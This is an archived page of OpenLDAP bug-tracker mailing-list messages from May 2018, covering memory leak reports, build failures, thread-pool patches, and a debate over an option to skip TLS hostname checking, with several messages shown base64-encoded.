- openldap-bugs - openldap.org

Re: (ITS#8854) Memory leak in modify transaction case
by quanah＠symas.com 14 May '18

14 May '18

--On Monday, May 14, 2018 2:56 PM +0000 verchaswa(a)mavenir.com wrote: > Full_Name: Verchaswa Sharma > Version: 2.4.11 2.4.11 is nearly 10 years old. Please use a current release of OpenLDAP. This ITS will be closed. If you find the issues exists in the current 2.4.46 release, then follow up and the ITS will be reopened. Regards, Quanah -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com>

1 0

(ITS#8855) Memory leak in modify transaction case
by verchaswa.sharma＠mavenir.com 14 May '18

14 May '18

Full_Name: Verchaswa Sharma Version: 2.4.11 OS: Windriver x86_64 GNU/Linux URL: Submission from: (NULL) (62.168.56.1) Hi, While testing modify for transactions, we observed memory leak in libldap. We ran memtrace found following memory leak. + 27605 1526029632 0x168b0008 4060 @0 memtrace_newhook(void const*, unsigned long) [0x5b1b3d] @1 MallocHook::InvokeNewHookSlow(void const*, unsigned long) [0x7f1cb61648e1] @2 malloc [0x7f1cb616748a] @3 ber_memalloc_x [0x5adf24] @4 ber_realloc [0x5accf4] @5 ber_write [0x5acd82] @6 ber_put_tag [0x5aba2a] @7 ber_put_int_or_enum [0x5abbbf] @8 ber_printf [0x5ac89d] @9 ldap_modify_ext [0x6c46e4] --------------- + 4167 1526297517 0x2b7a9048 136 @0 memtrace_newhook(void const*, unsigned long) [0x5b1b3d] @1 MallocHook::InvokeNewHookSlow(void const*, unsigned long) [0x7f11bb68b8e1] @2 tc_calloc [0x7f11bb68ebf9] @3 ber_memcalloc_x [0x5adf94] @4 ldap_send_server_request [0x6cbfa5] @5 ldap_send_initial_request [0x6cc23d] @6 ldap_modify_ext [0x6c47de] ---------------- + 4169 1526297517 0x2c4672e8 15 @0 memtrace_newhook(void const*, unsigned long) [0x5b1b3d] @1 MallocHook::InvokeNewHookSlow(void const*, unsigned long) [0x7f11bb68b8e1] @2 malloc [0x7f11bb68e48a] @3 ber_memalloc_x [0x5adf24] @4 ber_strdup_x [0x5ae5c2] @5 ldap_control_create [0x6c3d18] ---------------------- + 4171 1526297517 0x2aa8c828 80 @0 memtrace_newhook(void const*, unsigned long) [0x5b1b3d] @1 MallocHook::InvokeNewHookSlow(void const*, unsigned long) [0x7f11bb68b8e1] @2 tc_calloc [0x7f11bb68ebf9] @3 ber_memcalloc_x [0x5adf94] @4 ber_alloc_t [0x5acff1] @5 ldap_alloc_ber_with_options [0x6cb7cf] @6 ldap_modify_ext [0x6c4687] ---------------------------

1 0

(ITS#8854) Memory leak in modify transaction case
by verchaswa＠mavenir.com 14 May '18

14 May '18

Full_Name: Verchaswa Sharma Version: 2.4.11 OS: Windriver x86_64 GNU/Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (62.168.56.1) Hi, While testing modify for transactions, we observed memory leak in libldap. We ran memtrace found following memory leak. + 27605 1526029632 0x168b0008 4060 @0 memtrace_newhook(void const*, unsigned long) [0x5b1b3d] @1 MallocHook::InvokeNewHookSlow(void const*, unsigned long) [0x7f1cb61648e1] @2 malloc [0x7f1cb616748a] @3 ber_memalloc_x [0x5adf24] @4 ber_realloc [0x5accf4] @5 ber_write [0x5acd82] @6 ber_put_tag [0x5aba2a] @7 ber_put_int_or_enum [0x5abbbf] @8 ber_printf [0x5ac89d] @9 ldap_modify_ext [0x6c46e4] --------------- + 4167 1526297517 0x2b7a9048 136 @0 memtrace_newhook(void const*, unsigned long) [0x5b1b3d] @1 MallocHook::InvokeNewHookSlow(void const*, unsigned long) [0x7f11bb68b8e1] @2 tc_calloc [0x7f11bb68ebf9] @3 ber_memcalloc_x [0x5adf94] @4 ldap_send_server_request [0x6cbfa5] @5 ldap_send_initial_request [0x6cc23d] @6 ldap_modify_ext [0x6c47de] ---------------- + 4169 1526297517 0x2c4672e8 15 @0 memtrace_newhook(void const*, unsigned long) [0x5b1b3d] @1 MallocHook::InvokeNewHookSlow(void const*, unsigned long) [0x7f11bb68b8e1] @2 malloc [0x7f11bb68e48a] @3 ber_memalloc_x [0x5adf24] @4 ber_strdup_x [0x5ae5c2] @5 ldap_control_create [0x6c3d18] ---------------------- + 4171 1526297517 0x2aa8c828 80 @0 memtrace_newhook(void const*, unsigned long) [0x5b1b3d] @1 MallocHook::InvokeNewHookSlow(void const*, unsigned long) [0x7f11bb68b8e1] @2 tc_calloc [0x7f11bb68ebf9] @3 ber_memcalloc_x [0x5adf94] @4 ber_alloc_t [0x5acff1] @5 ldap_alloc_ber_with_options [0x6cb7cf] @6 ldap_modify_ext [0x6c4687] ---------------------------

1 0

Re: (ITS#8846) Patch to introduce new LDAP option to ignore hostname checking while verifying certificates in TLS mode
by michael＠stroeder.com 14 May '18

14 May '18

> c) DNS server is not set up I.e., the certificate could be issued > with a name like “netact.operator”, but we’d be using 10.2.3.7, and > DNS has not been setup in the operator internal network > > But what we feel is that there should be an option to be chosen by > user to either ignore or enable hostname checking. If you're using ldaps://10.2.3.7 for connecting without DNS resolving you could add a subjectAltName extension to your server cert containing this particular IP address. That's basically just another GeneralName type. You could also tweak your local /etc/hosts (preferrably with decent config mgt.) to correctly map FQDN "netact.operator" to the IP address. > Already we know > that HTTP clients, for example, browsers provide such option to user > and it's up to the user that whether to continue communication to the > server or not, if hostname mismatch occurs. Note that web browsers are driven interactively by users whereas LDAP clients are most times systems without direct user interaction. In the interactive case you simply delegate the informed trust decision to the user which is a bad thing to do anyway. Therefore web browsers will also limit this functionality in the not so far future. Ciao, Michael. P.S.: Due to MIME processing deficiencies of the ITS your messages are displayed base64-encoded and therefore hard to read: https://www.openldap.org/its/index.cgi?findid=8846#followup4

1 0

RE: (ITS#8846) Patch to introduce new LDAP option to ignore hostname checking while verifying certificates in TLS mode
by sudhir.singam＠nokia.com 14 May '18

14 May '18

SGksDQoNCktpbmRseSBwbGVhc2UgcmVwbHkuDQoNClJlZ2FyZHMsDQpTdWRoaXIgU2luZ2FtDQoN CkRFTElWRVJJTkcgQkVTVC1JTi1DTEFTUyBQTEFURk9STSBpcyBvdXIgdmlzaW9uDQoNCi0tLS0t T3JpZ2luYWwgTWVzc2FnZS0tLS0tDQpGcm9tOiBTaW5nYW0sIFN1ZGhpciAoTm9raWEgLSBJTi9C YW5nYWxvcmUpIA0KU2VudDogV2VkbmVzZGF5LCBNYXkgMDksIDIwMTggMTE6MjYgQU0NClRvOiAn SG93YXJkIENodScgPGh5Y0BzeW1hcy5jb20+OyAnb3BlbmxkYXAtaXRzQE9wZW5MREFQLm9yZycg PG9wZW5sZGFwLWl0c0BPcGVuTERBUC5vcmc+DQpTdWJqZWN0OiBSRTogKElUUyM4ODQ2KSBQYXRj aCB0byBpbnRyb2R1Y2UgbmV3IExEQVAgb3B0aW9uIHRvIGlnbm9yZSBob3N0bmFtZSBjaGVja2lu ZyB3aGlsZSB2ZXJpZnlpbmcgY2VydGlmaWNhdGVzIGluIFRMUyBtb2RlDQoNCkhpLA0KDQpUaGFu a3MgZm9yIHlvdXIgcmVzcG9uc2UuDQoNCkJhc2ljYWxseSBvdXIgdXNlIGNhc2UgY2FuIGJlIGJl bG93IG9yIGFueSBzaW1pbGFyIG9uZSB3aGVyZSB3ZSB3YW50IHRvIGRpc2FibGUgaG9zdG5hbWUg Y2hlY2tpbmcuDQoNCmEpCVdlIHdhbnQgdXNlIHRoZSBzYW1lIGNlcnRzIGZyb20gbXVsdGkgZG9t YWlucw0KYikJV2Ugd2FudCB1c2UgdGhlIHNhbWUgY2VydHMgZm9yIGFsbCBzdWIgZG9tYWlucyB1 bmRlciBhIG1haW4gZG9tYWluLg0KYykJRE5TIHNlcnZlciBpcyBub3Qgc2V0IHVwICAgSS5lLiwg dGhlIGNlcnRpZmljYXRlIGNvdWxkIGJlIGlzc3VlZCB3aXRoIGEgbmFtZSBsaWtlIOKAnG5ldGFj dC5vcGVyYXRvcuKAnSwgYnV0IHdl4oCZZCBiZSB1c2luZyAxMC4yLjMuNywgYW5kIEROUyBoYXMg bm90IGJlZW4gc2V0dXAgaW4gdGhlIG9wZXJhdG9yIGludGVybmFsIG5ldHdvcmsNCg0KQnV0IHdo YXQgd2UgZmVlbCBpcyB0aGF0IHRoZXJlIHNob3VsZCBiZSBhbiBvcHRpb24gdG8gYmUgY2hvc2Vu IGJ5IHVzZXIgdG8gZWl0aGVyIGlnbm9yZSBvciBlbmFibGUgaG9zdG5hbWUgY2hlY2tpbmcuIEFs cmVhZHkgd2Uga25vdyB0aGF0IEhUVFAgY2xpZW50cywgZm9yIGV4YW1wbGUsIGJyb3dzZXJzIHBy b3ZpZGUgc3VjaCBvcHRpb24gdG8gdXNlciBhbmQgaXQncyB1cCB0byB0aGUgdXNlciB0aGF0IHdo ZXRoZXIgdG8gY29udGludWUgY29tbXVuaWNhdGlvbiB0byB0aGUgc2VydmVyIG9yIG5vdCwgaWYg aG9zdG5hbWUgbWlzbWF0Y2ggb2NjdXJzLg0KDQpSRkMgaHR0cDovL3d3dy5pZXRmLm9yZy9yZmMv cmZjMjgxOC50eHQgKGZvciBIVFRQKSBzYXlzIGJlbG93LCB3aGljaCBtZWFucyBmb3IgaW50ZXJh Y3RpdmUgb3IgQVVUT01BVEVEIGNsaWVudHMgb3B0aW9uIHNob3VsZCBiZSBwcm92aWRlZC4NCg0K IiAgIElmIHRoZSBob3N0bmFtZSBkb2VzIG5vdCBtYXRjaCB0aGUgaWRlbnRpdHkgaW4gdGhlIGNl cnRpZmljYXRlLCB1c2VyDQogICBvcmllbnRlZCBjbGllbnRzIE1VU1QgZWl0aGVyIG5vdGlmeSB0 aGUgdXNlciAoY2xpZW50cyBNQVkgZ2l2ZSB0aGUNCiAgIHVzZXIgdGhlIG9wcG9ydHVuaXR5IHRv IGNvbnRpbnVlIHdpdGggdGhlIGNvbm5lY3Rpb24gaW4gYW55IGNhc2UpIG9yDQogICB0ZXJtaW5h dGUgdGhlIGNvbm5lY3Rpb24gd2l0aCBhIGJhZCBjZXJ0aWZpY2F0ZSBlcnJvci4gQXV0b21hdGVk DQogICBjbGllbnRzIE1VU1QgbG9nIHRoZSBlcnJvciB0byBhbiBhcHByb3ByaWF0ZSBhdWRpdCBs b2cgKGlmIGF2YWlsYWJsZSkNCiAgIGFuZCBTSE9VTEQgdGVybWluYXRlIHRoZSBjb25uZWN0aW9u ICh3aXRoIGEgYmFkIGNlcnRpZmljYXRlIGVycm9yKS4NCiAgIEF1dG9tYXRlZCBjbGllbnRzIE1B WSBwcm92aWRlIGEgY29uZmlndXJhdGlvbiBzZXR0aW5nIHRoYXQgZGlzYWJsZXMNCiAgIHRoaXMg Y2hlY2ssIGJ1dCBNVVNUIHByb3ZpZGUgYSBzZXR0aW5nIHdoaWNoIGVuYWJsZXMgaXQuDQoiDQoN ClJGQyBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNDUxMyAoTERBUCkgc2F5cyBiZWxv dywgdGhhdCBBVVRPTUFURUQgY2xpZW50IHNob3VsZCBsb2cgZXJyb3IgYnV0IG5vdCBwcm92aWRl IGFueSBjb25maWd1cmFibGUgb3B0aW9uLg0KDQrigJwNCg0KSWYgdGhlIHNlcnZlciBpZGVudGl0 eSBjaGVjayBmYWlscywgdXNlci1vcmllbnRlZCBjbGllbnRzIFNIT1VMRA0KICAgZWl0aGVyIG5v dGlmeSB0aGUgdXNlciAoY2xpZW50cyBtYXkgZ2l2ZSB0aGUgdXNlciB0aGUgb3Bwb3J0dW5pdHkg dG8NCiAgIGNvbnRpbnVlIHdpdGggdGhlIExEQVAgc2Vzc2lvbiBpbiB0aGlzIGNhc2UpIG9yIGNs b3NlIHRoZSB0cmFuc3BvcnQNCiAgIGNvbm5lY3Rpb24gYW5kIGluZGljYXRlIHRoYXQgdGhlIHNl cnZlcidzIGlkZW50aXR5IGlzIHN1c3BlY3QuDQogICBBdXRvbWF0ZWQgY2xpZW50cyBTSE9VTEQg Y2xvc2UgdGhlIHRyYW5zcG9ydCBjb25uZWN0aW9uIGFuZCB0aGVuDQogICByZXR1cm4gb3IgbG9n IGFuIGVycm9yIGluZGljYXRpbmcgdGhhdCB0aGUgc2VydmVyJ3MgaWRlbnRpdHkgaXMNCiAgIHN1 c3BlY3Qgb3IgYm90aC4NCuKAnA0KDQpOb3Qgc3VyZSBob3cgdGhlIEFVVE9NQVRFRCBjbGllbnRz IGRpZmZlciBmb3IgSFRUUCBvciBMREFQLg0KDQpTbyBJIHdvdWxkIGxpa2UgdG8ga25vdyB3aHkg dGhpcyBpcyBub3QgaW1wbGVtZW50ZWQgb3IgY2FuJ3QgYmUgaW1wbGVtZW50ZWQgZm9yIG9wZW5M REFQLg0KDQo=

1 0

Re: (ITS#8853) back-mdb broken on GNU/kFreeBSD
by ryan＠nardis.ca 13 May '18

13 May '18

Never mind. This works for me on a local VM. The build server has a bunch of outdated packages so I'm going to blame that build environment unless proven otherwise. Closing the ITS; sorry for the noise.

1 0

(ITS#8853) back-mdb broken on GNU/kFreeBSD
by ryan＠openldap.org 12 May '18

12 May '18

Full_Name: Ryan Tandy Version: 2.4.46 OS: Debian URL: Submission from: (NULL) (70.66.128.207) Submitted by: ryan On Debian GNU/kFreeBSD (Debian with GNU userland and FreeBSD kernel), liblmdb and back-mdb compile but slapd apparently fails to start. Build log: https://buildd.debian.org/status/fetch.php?pkg=openldap&arch=kfreebsd-amd64… >>>>> Executing all LDAP tests for mdb >>>>> Starting test000-rootdse for mdb... running defines.sh Starting slapd on TCP/IP port 9011... Using ldapsearch to retrieve the root DSE... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... Waiting 5 seconds for slapd to start... ../../../tests/scripts/test000-rootdse: 66: kill: No such process ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1) >>>>> Test failed >>>>> test000-rootdse failed for mdb This is a low priority issue. Just filing the ITS for tracking. More details to come once I find time to install a VM and compile/run it myself. Probably similar to ITS#8554. Debian bug reference: https://bugs.debian.org/898070

1 0

Re: (ITS#8852) slapd memory use grows continuously with non-delta syncrepl and modifying groups
by ryan＠nardis.ca 12 May '18

12 May '18

bisect identifies c365ac359e9c9b483b934c2a1f0bc552645c32fa as the commit that introduced this behaviour. 003dfbda574f37bbf1a2240f530ff9fa35ab0801 on RE24 (2.4.20) commit c365ac359e9c9b483b934c2a1f0bc552645c32fa Author: Howard Chu <hyc(a)openldap.org> Date: Sun Nov 22 04:42:00 2009 +0000 ITS#6368 use dup'd entries in response queue

1 0

(ITS#8852) slapd memory use grows continuously with non-delta syncrepl and modifying groups
by ryan＠openldap.org 12 May '18

12 May '18

Full_Name: Ryan Tandy Version: 2.4.46 OS: Debian URL: ftp://ftp.openldap.org/incoming/20180511_rtandy_syncrepl-memory-consumer.tgz Submission from: (NULL) (70.66.128.207) Submitted by: ryan When running object-based syncrepl, and making changes to groups, the provider slapd uses more and more memory, apparently without bound. We've discussed this issue before but there was no ITS tracking it specifically. original Debian bug: https://bugs.debian.org/725091 and a possibly related openldap-technical post: https://www.openldap.org/lists/openldap-technical/201503/msg00206.html reproducer: ftp://ftp.openldap.org/incoming/20180511_rtandy_syncrepl-memory-consumer.tgz ./prepare ./runslapd (backgrounds a provider slapd and a consumer slapd) ./modify (makes a number of modifications on the provider) ./clean (kills both slapds and cleans databases) Run top in another terminal and watch the memory growth. On my system, the provider grows to over 3 GB resident and does not shrink even after replication completes. with delta-syncrepl enabled, the producer's RSS is only around 10 MB. Reproduced on Debian unstable with 2.4.46 and glibc malloc (glibc 2.27-3) and tcmalloc_minimal (2.7-1).

1 0

(ITS#8851) Severe warnings
by pbrilius＠gmail.com 10 May '18

10 May '18

Full_Name: Povilas Brilius Version: 2.4.45 OS: Gentoo URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (217.17.80.180) Excerpt from Gentoo net-nds/openldap build log: * QA Notice: Package triggers severe warnings which indicate that it * may exhibit random runtime failures. * /var/tmp/portage/net-nds/openldap-2.4.45/work/openldap-2.4.45/libraries/libldap/open.c:251:7: warning: implicit declaration of function ldap_is_ldapc_url; did you mean ldap_is_ldapi_url? [-Wimplicit-function-declaration] * /var/tmp/portage/net-nds/openldap-2.4.45/work/openldap-2.4.45/libraries/libldap_r/thr_posix.c:93:9: warning: implicit declaration of function pthread_setconcurrency; did you mean pthread_setcanceltype? [-Wimplicit-function-declaration] * /var/tmp/portage/net-nds/openldap-2.4.45/work/openldap-2.4.45/libraries/libldap_r/thr_posix.c:107:9: warning: implicit declaration of function pthread_getconcurrency; did you mean ldap_pvt_thread_get_concurrency? [-Wimplicit-function-declaration] * open.c:251:7: warning: implicit declaration of function ldap_is_ldapc_url; did you mean ldap_is_ldapi_url? [-Wimplicit-function-declaration] * /var/tmp/portage/net-nds/openldap-2.4.45/work/openldap-2.4.45/libraries/libldap/open.c:251:7: warning: implicit declaration of function ldap_is_ldapc_url; did you mean ldap_is_ldapi_url? [-Wimplicit-function-declaration] * /var/tmp/portage/net-nds/openldap-2.4.45/work/openldap-2.4.45/libraries/libldap_r/thr_posix.c:93:9: warning: implicit declaration of function pthread_setconcurrency; did you mean pthread_setcanceltype? [-Wimplicit-function-declaration] * /var/tmp/portage/net-nds/openldap-2.4.45/work/openldap-2.4.45/libraries/libldap_r/thr_posix.c:107:9: warning: implicit declaration of function pthread_getconcurrency; did you mean ldap_pvt_thread_get_concurrency? [-Wimplicit-function-declaration] * open.c:251:7: warning: implicit declaration of function ldap_is_ldapc_url; did you mean ldap_is_ldapi_url? [-Wimplicit-function-declaration] * Please do not file a Gentoo bug and instead report the above QA * issues directly to the upstream developers of this software. * Homepage: http://www.OpenLDAP.org/

1 0

(ITS#8850) Split thread pool shutdown and destruction
by ondra＠openldap.org 09 May '18

09 May '18

Full_Name: Ondrej Kuznik Version: master OS: URL: https://github.com/mistotebe/openldap/tree/ITS8850 Submission from: (NULL) (82.10.24.68) At the moment, libldap_r only supports one thread pool. Closing and freeing that pool is currently done in a single step. If there is a side thread that wants to schedule work into this global pool, there is currently a (short) window when the thread pool is being destroyed and that thread has not been notified yet (which only happens after the main slapd threads have already finished). If a thread tries to schedule more work to be done, it might trample onto memory/mutexes that have already been released. The linked patch outlines a solution to the problem by separating ldap_pvt_thread_pool_destroy into a part that shuts down the pool and the actual deconstruction. slapd is adapted to call the shutdown at the shutdown point and only destroy the pool after all backends have been closed. Tries to maintain backward compatibility. Any feedback is welcome.

1 0

(ITS#8849) Notify backends of server (un)pause
by ondra＠openldap.org 09 May '18

09 May '18

Full_Name: Ondrej Kuznik Version: master OS: URL: https://github.com/mistotebe/openldap/tree/ITS8849 Submission from: (NULL) (82.10.24.68) If a backend needs to handle its own long-running threads on the side, it might need to be notified to pause while a config modification is underway and when it is finished. This is the case of the load balancer module, which registers itself as a module and maintains its own threads and needs to know when a server (or even its own) reconfiguration is in progress. The linked patches provide one of the possible implementations, they introduce the hooks to pause and unpause the server, use them in bconfig.c and add two new backend hooks that are consulted while this is happening.

1 0

Re: (ITS#8845) Cannot preserve existing controls with new extended operations
by ondra＠mistotebe.net 09 May '18

09 May '18

On Tue, May 08, 2018 at 04:09:12PM +0000, hyc(a)symas.com wrote: > ondra(a)mistotebe.net wrote: >> The issue is actually allowing existing controls to be used with newly >> registered exops, since the only way to declare the compatibility would >> be by re-registering the control. Problem there is that built-in >> controls have everything static to controls.c, so it's not even possible >> to do that. >> >> A solution would be to add another piece of API that receives a pair of >> (control OID, exop OID), finds the control and adds the OID to the >> sc_extendedops(bv) lists. >> >> Going to do just that (register_control_exop() a decent name?). This implementation is in the ITS8845 branch of my GitHub repo: https://github.com/mistotebe/openldap/tree/ITS8845 -- Ondřej Kuzník Senior Software Engineer Symas Corporation http://www.symas.com Packaged, certified, and supported LDAP solutions powered by OpenLDAP

1 0

RE: (ITS#8846) Patch to introduce new LDAP option to ignore hostname checking while verifying certificates in TLS mode
by sudhir.singam＠nokia.com 09 May '18

09 May '18

SGksDQoNClRoYW5rcyBmb3IgeW91ciByZXNwb25zZS4NCg0KQmFzaWNhbGx5IG91ciB1c2UgY2Fz ZSBjYW4gYmUgYmVsb3cgb3IgYW55IHNpbWlsYXIgb25lIHdoZXJlIHdlIHdhbnQgdG8gZGlzYWJs ZSBob3N0bmFtZSBjaGVja2luZy4NCg0KYSkJV2Ugd2FudCB1c2UgdGhlIHNhbWUgY2VydHMgZnJv bSBtdWx0aSBkb21haW5zDQpiKQlXZSB3YW50IHVzZSB0aGUgc2FtZSBjZXJ0cyBmb3IgYWxsIHN1 YiBkb21haW5zIHVuZGVyIGEgbWFpbiBkb21haW4uDQpjKQlETlMgc2VydmVyIGlzIG5vdCBzZXQg dXAgICBJLmUuLCB0aGUgY2VydGlmaWNhdGUgY291bGQgYmUgaXNzdWVkIHdpdGggYSBuYW1lIGxp a2Ug4oCcbmV0YWN0Lm9wZXJhdG9y4oCdLCBidXQgd2XigJlkIGJlIHVzaW5nIDEwLjIuMy43LCBh bmQgRE5TIGhhcyBub3QgYmVlbiBzZXR1cCBpbiB0aGUgb3BlcmF0b3IgaW50ZXJuYWwgbmV0d29y aw0KDQpCdXQgd2hhdCB3ZSBmZWVsIGlzIHRoYXQgdGhlcmUgc2hvdWxkIGJlIGFuIG9wdGlvbiB0 byBiZSBjaG9zZW4gYnkgdXNlciB0byBlaXRoZXIgaWdub3JlIG9yIGVuYWJsZSBob3N0bmFtZSBj aGVja2luZy4gQWxyZWFkeSB3ZSBrbm93IHRoYXQgSFRUUCBjbGllbnRzLCBmb3IgZXhhbXBsZSwg YnJvd3NlcnMgcHJvdmlkZSBzdWNoIG9wdGlvbiB0byB1c2VyIGFuZCBpdCdzIHVwIHRvIHRoZSB1 c2VyIHRoYXQgd2hldGhlciB0byBjb250aW51ZSBjb21tdW5pY2F0aW9uIHRvIHRoZSBzZXJ2ZXIg b3Igbm90LCBpZiBob3N0bmFtZSBtaXNtYXRjaCBvY2N1cnMuDQoNClJGQyBodHRwOi8vd3d3Lmll dGYub3JnL3JmYy9yZmMyODE4LnR4dCAoZm9yIEhUVFApIHNheXMgYmVsb3csIHdoaWNoIG1lYW5z IGZvciBpbnRlcmFjdGl2ZSBvciBBVVRPTUFURUQgY2xpZW50cyBvcHRpb24gc2hvdWxkIGJlIHBy b3ZpZGVkLg0KDQoiICAgSWYgdGhlIGhvc3RuYW1lIGRvZXMgbm90IG1hdGNoIHRoZSBpZGVudGl0 eSBpbiB0aGUgY2VydGlmaWNhdGUsIHVzZXINCiAgIG9yaWVudGVkIGNsaWVudHMgTVVTVCBlaXRo ZXIgbm90aWZ5IHRoZSB1c2VyIChjbGllbnRzIE1BWSBnaXZlIHRoZQ0KICAgdXNlciB0aGUgb3Bw b3J0dW5pdHkgdG8gY29udGludWUgd2l0aCB0aGUgY29ubmVjdGlvbiBpbiBhbnkgY2FzZSkgb3IN CiAgIHRlcm1pbmF0ZSB0aGUgY29ubmVjdGlvbiB3aXRoIGEgYmFkIGNlcnRpZmljYXRlIGVycm9y LiBBdXRvbWF0ZWQNCiAgIGNsaWVudHMgTVVTVCBsb2cgdGhlIGVycm9yIHRvIGFuIGFwcHJvcHJp YXRlIGF1ZGl0IGxvZyAoaWYgYXZhaWxhYmxlKQ0KICAgYW5kIFNIT1VMRCB0ZXJtaW5hdGUgdGhl IGNvbm5lY3Rpb24gKHdpdGggYSBiYWQgY2VydGlmaWNhdGUgZXJyb3IpLg0KICAgQXV0b21hdGVk IGNsaWVudHMgTUFZIHByb3ZpZGUgYSBjb25maWd1cmF0aW9uIHNldHRpbmcgdGhhdCBkaXNhYmxl cw0KICAgdGhpcyBjaGVjaywgYnV0IE1VU1QgcHJvdmlkZSBhIHNldHRpbmcgd2hpY2ggZW5hYmxl cyBpdC4NCiINCg0KUkZDIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM0NTEzIChMREFQ KSBzYXlzIGJlbG93LCB0aGF0IEFVVE9NQVRFRCBjbGllbnQgc2hvdWxkIGxvZyBlcnJvciBidXQg bm90IHByb3ZpZGUgYW55IGNvbmZpZ3VyYWJsZSBvcHRpb24uDQoNCuKAnA0KDQpJZiB0aGUgc2Vy dmVyIGlkZW50aXR5IGNoZWNrIGZhaWxzLCB1c2VyLW9yaWVudGVkIGNsaWVudHMgU0hPVUxEDQog ICBlaXRoZXIgbm90aWZ5IHRoZSB1c2VyIChjbGllbnRzIG1heSBnaXZlIHRoZSB1c2VyIHRoZSBv cHBvcnR1bml0eSB0bw0KICAgY29udGludWUgd2l0aCB0aGUgTERBUCBzZXNzaW9uIGluIHRoaXMg Y2FzZSkgb3IgY2xvc2UgdGhlIHRyYW5zcG9ydA0KICAgY29ubmVjdGlvbiBhbmQgaW5kaWNhdGUg dGhhdCB0aGUgc2VydmVyJ3MgaWRlbnRpdHkgaXMgc3VzcGVjdC4NCiAgIEF1dG9tYXRlZCBjbGll bnRzIFNIT1VMRCBjbG9zZSB0aGUgdHJhbnNwb3J0IGNvbm5lY3Rpb24gYW5kIHRoZW4NCiAgIHJl dHVybiBvciBsb2cgYW4gZXJyb3IgaW5kaWNhdGluZyB0aGF0IHRoZSBzZXJ2ZXIncyBpZGVudGl0 eSBpcw0KICAgc3VzcGVjdCBvciBib3RoLg0K4oCcDQoNCk5vdCBzdXJlIGhvdyB0aGUgQVVUT01B VEVEIGNsaWVudHMgZGlmZmVyIGZvciBIVFRQIG9yIExEQVAuDQoNClNvIEkgd291bGQgbGlrZSB0 byBrbm93IHdoeSB0aGlzIGlzIG5vdCBpbXBsZW1lbnRlZCBvciBjYW4ndCBiZSBpbXBsZW1lbnRl ZCBmb3Igb3BlbkxEQVAuDQoNCg==

1 0

RE: (ITS#8846) Patch to introduce new LDAP option to ignore hostname checking while verifying certificates in TLS mode
by sudhir.singam＠nokia.com 09 May '18

09 May '18

SGksDQoNClRoYW5rcyBmb3IgeW91ciByZXNwb25zZS4NCg0KQmFzaWNhbGx5IG91ciB1c2UgY2Fz ZSBjYW4gYmUgYmVsb3cgb3IgYW55IHNpbWlsYXIgb25lIHdoZXJlIHdlIHdhbnQgdG8gZGlzYWJs ZSBob3N0bmFtZSBjaGVja2luZy4NCg0KYSkJV2Ugd2FudCB1c2UgdGhlIHNhbWUgY2VydHMgZnJv bSBtdWx0aSBkb21haW5zDQpiKQlXZSB3YW50IHVzZSB0aGUgc2FtZSBjZXJ0cyBmb3IgYWxsIHN1 YiBkb21haW5zIHVuZGVyIGEgbWFpbiBkb21haW4uDQpjKQlETlMgc2VydmVyIGlzIG5vdCBzZXQg dXAgICBJLmUuLCB0aGUgY2VydGlmaWNhdGUgY291bGQgYmUgaXNzdWVkIHdpdGggYSBuYW1lIGxp a2Ug4oCcbmV0YWN0Lm9wZXJhdG9y4oCdLCBidXQgd2XigJlkIGJlIHVzaW5nIDEwLjIuMy43LCBh bmQgRE5TIGhhcyBub3QgYmVlbiBzZXR1cCBpbiB0aGUgb3BlcmF0b3IgaW50ZXJuYWwgbmV0d29y aw0KDQpCdXQgd2hhdCB3ZSBmZWVsIGlzIHRoYXQgdGhlcmUgc2hvdWxkIGJlIGFuIG9wdGlvbiB0 byBiZSBjaG9zZW4gYnkgdXNlciB0byBlaXRoZXIgaWdub3JlIG9yIGVuYWJsZSBob3N0bmFtZSBj aGVja2luZy4gQWxyZWFkeSB3ZSBrbm93IHRoYXQgSFRUUCBjbGllbnRzLCBmb3IgZXhhbXBsZSwg YnJvd3NlcnMgcHJvdmlkZSBzdWNoIG9wdGlvbiB0byB1c2VyIGFuZCBpdCdzIHVwIHRvIHRoZSB1 c2VyIHRoYXQgd2hldGhlciB0byBjb250aW51ZSBjb21tdW5pY2F0aW9uIHRvIHRoZSBzZXJ2ZXIg b3Igbm90LCBpZiBob3N0bmFtZSBtaXNtYXRjaCBvY2N1cnMuDQoNClJGQyBodHRwOi8vd3d3Lmll dGYub3JnL3JmYy9yZmMyODE4LnR4dCAoZm9yIEhUVFApIHNheXMgYmVsb3csIHdoaWNoIG1lYW5z IGZvciBpbnRlcmFjdGl2ZSBvciBBVVRPTUFURUQgY2xpZW50cyBvcHRpb24gc2hvdWxkIGJlIHBy b3ZpZGVkLg0KDQoiICAgSWYgdGhlIGhvc3RuYW1lIGRvZXMgbm90IG1hdGNoIHRoZSBpZGVudGl0 eSBpbiB0aGUgY2VydGlmaWNhdGUsIHVzZXINCiAgIG9yaWVudGVkIGNsaWVudHMgTVVTVCBlaXRo ZXIgbm90aWZ5IHRoZSB1c2VyIChjbGllbnRzIE1BWSBnaXZlIHRoZQ0KICAgdXNlciB0aGUgb3Bw b3J0dW5pdHkgdG8gY29udGludWUgd2l0aCB0aGUgY29ubmVjdGlvbiBpbiBhbnkgY2FzZSkgb3IN CiAgIHRlcm1pbmF0ZSB0aGUgY29ubmVjdGlvbiB3aXRoIGEgYmFkIGNlcnRpZmljYXRlIGVycm9y LiBBdXRvbWF0ZWQNCiAgIGNsaWVudHMgTVVTVCBsb2cgdGhlIGVycm9yIHRvIGFuIGFwcHJvcHJp YXRlIGF1ZGl0IGxvZyAoaWYgYXZhaWxhYmxlKQ0KICAgYW5kIFNIT1VMRCB0ZXJtaW5hdGUgdGhl IGNvbm5lY3Rpb24gKHdpdGggYSBiYWQgY2VydGlmaWNhdGUgZXJyb3IpLg0KICAgQXV0b21hdGVk IGNsaWVudHMgTUFZIHByb3ZpZGUgYSBjb25maWd1cmF0aW9uIHNldHRpbmcgdGhhdCBkaXNhYmxl cw0KICAgdGhpcyBjaGVjaywgYnV0IE1VU1QgcHJvdmlkZSBhIHNldHRpbmcgd2hpY2ggZW5hYmxl 